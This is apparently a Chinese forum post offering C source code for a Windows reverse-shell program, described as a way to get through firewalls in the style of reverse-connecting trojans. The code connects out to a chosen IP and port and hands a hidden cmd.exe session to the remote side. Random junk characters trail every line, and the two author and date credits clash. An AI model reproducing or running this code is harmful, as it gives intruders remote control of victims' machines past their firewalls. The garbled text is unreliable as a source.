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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ',m!L@7M5  
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/* ============================== 8;y\Ln?B  
Rebound port in Windows NT 4L<;z'   
By wind,2006/7 }ki6(_  
===============================*/ Oh; V%G  
#include TR'<D9kn  
#include 5gKXe4}\/|  
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#pragma comment(lib,"wsock32.lib")  N~vK8j@  
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void OutputShell(); uFnq3m^u  
SOCKET sClient; 63HtZ=hO7  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ]FEsN6  
[vn"r^P  
void main(int argc,char **argv) WXFC e@  
{ (Qd@Q,@(s  
WSADATA stWsaData; 4Ul*`/d  
int nRet; ~tZy-1  
SOCKADDR_IN stSaiClient,stSaiServer; hh8U/dVk*  
 Q5 =  
if(argc != 3) [PH56f  
{ "sJ@_lp  
printf("Useage:\n\rRebound DestIP DestPort\n"); }e-D&U  
return; ffG1QvC|M  
} &UIS17cT  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 1 EwCF  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z> <,t~o}  
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stSaiClient.sin_family = AF_INET; }WnoI2  
stSaiClient.sin_port = htons(0); H,Yrk(O-  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); WQBpU?O  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) %`0*KMO3  
{ $g  '4'  
printf("Bind Socket Failed!\n"); sNsH l  
return; 91|~KR)  
} LX</xI08W  
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stSaiServer.sin_family = AF_INET; :LLz$[c8  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); s)}EMDY  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); N**" u"CX  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ^~W s4[Guo  
{ GB{Q)L  
printf("Connect Error!"); , %A2wV  
return; G5 *_  
} xM13OoU  
OutputShell(); 8X)1bNGqhe  
} ,lQfsntk'  
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void OutputShell() !yu-MpeG  
{ zTg&W7oz  
char szBuff[1024]; e_dsBmTh  
SECURITY_ATTRIBUTES stSecurityAttributes; Ns6C xE9  
OSVERSIONINFO stOsversionInfo; \9k{h08s  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; t'*2)U  
STARTUPINFO stStartupInfo; /_i]bM7W  
char *szShell; $!K,5^+  
PROCESS_INFORMATION stProcessInformation; -~_;9[uV  
unsigned long lBytesRead; $: qrh66  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Idr|-s%l6'  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); w"AO~LF  
stSecurityAttributes.lpSecurityDescriptor = 0; {jo"@&2S  
stSecurityAttributes.bInheritHandle = TRUE; H iEQs|""'  
85ND 3F6q4  
,8+Jt@L  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Ae'N1V  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); v7mg8'  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 9ZG__R3B1\  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m`#UV-$J  
stStartupInfo.wShowWindow = SW_HIDE; "tz`@3,5dN  
stStartupInfo.hStdInput = hReadPipe; Atod&qH  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; k!{h]D0  
~"22X`;h[G  
GetVersionEx(&stOsversionInfo); Eg0qY\'  
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switch(stOsversionInfo.dwPlatformId) 6&L8 {P  
{ 7vEZb.~4z  
case 1: #.|MV}6rQ  
szShell = "command.com"; 7-c3^5gn{  
break; X-_0wR  
default: 2fG[q3`  
szShell = "cmd.exe"; K!;>/3Y2-  
break; 0b+End#mp  
} J>^KQ  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 8[d6 s  
q@}tv =}  
send(sClient,szMsg,77,0); GtkZ%<KF9  
while(1) ;xjw'%n,  
{ J4jL%5t  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); s` o _ER  
if(lBytesRead) =:Lc-y>  
{ H~~>ut6`  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ::!{f+Up  
send(sClient,szBuff,lBytesRead,0); &u0on) E  
} kx07Ium  
else #RP7?yGM,  
{ Df0m  
lBytesRead=recv(sClient,szBuff,1024,0); i~.9 B7hdE  
if(lBytesRead<=0) break; XZ_vbYTj  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Jl{g"N{2u'  
} e'&<DE)  
} Pql;5 ~/  
7-[^0qS  
return; U&L?IT=x  
}
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